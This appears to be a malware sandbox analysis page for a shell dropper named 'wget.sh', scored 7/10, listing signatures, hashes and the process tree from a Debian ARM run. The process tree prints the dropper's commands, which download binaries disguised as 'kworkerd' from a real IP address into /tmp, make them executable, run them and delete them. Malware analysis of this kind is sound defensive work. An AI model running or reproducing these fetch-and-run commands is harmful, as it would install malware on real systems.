Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    135s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/07/2026, 12:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.sh
  • Size 4KB
  • Sample260709-pcxwpahx9m
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:665
    • /tmp/.k
      /tmp/.k
      2⤵
        PID:667
      • /bin/rm
        rm -f /tmp/.k
        2⤵
          PID:670
        • /usr/bin/wget
          wget http://91.92.40.118/kworkerd-events -O /tmp/.k
          2⤵
          • Writes file to tmp directory
          PID:671

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            .k
            • Path /tmp/.k
            • Size 271KB
            • SHA256 05686c56837324d1bbb9b98c331bd689af81de4a27c52a4d84ace7e25302e111
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download